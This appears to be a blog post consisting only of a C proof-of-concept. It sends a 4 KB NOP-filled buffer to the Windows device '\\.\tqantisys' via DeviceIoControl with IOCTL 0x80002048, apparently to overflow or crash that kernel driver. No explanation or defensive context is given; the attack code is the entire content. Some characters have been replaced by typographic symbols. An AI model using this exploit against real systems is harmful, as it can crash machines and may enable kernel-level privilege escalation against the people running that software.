大西瓜的杂货铺

#define MAX_BUFFER_LEN 1024*4
UCHAR ucbuffer[MAX_BUFFER_LEN];

void main()
{

HANDLE hDevice;
DWORD dwx = 0;
DWORD dwi = 0;

ZeroMemory( ucbuffer, MAX_BUFFER_LEN );
for( dwi= 0; dwi< MAX_BUFFER_LEN; dwi++)
{
ucbuffer[dwi] = 0×90;
}
ucbuffer[MAX_BUFFER_LEN - 1] = 0×00;

hDevice = CreateFile(“\\\\.\\tqantisys”,GENERIC_READ|GENERIC_WRITE,0,
0,OPEN_EXISTING,FILE_ATTRIBUTE_SYSTEM,0);
DeviceIoControl(hDevice,0×80002048,ucbuffer,MAX_BUFFER_LEN,NULL,0,&dwx,0);

CloseHandle(hDevice);
}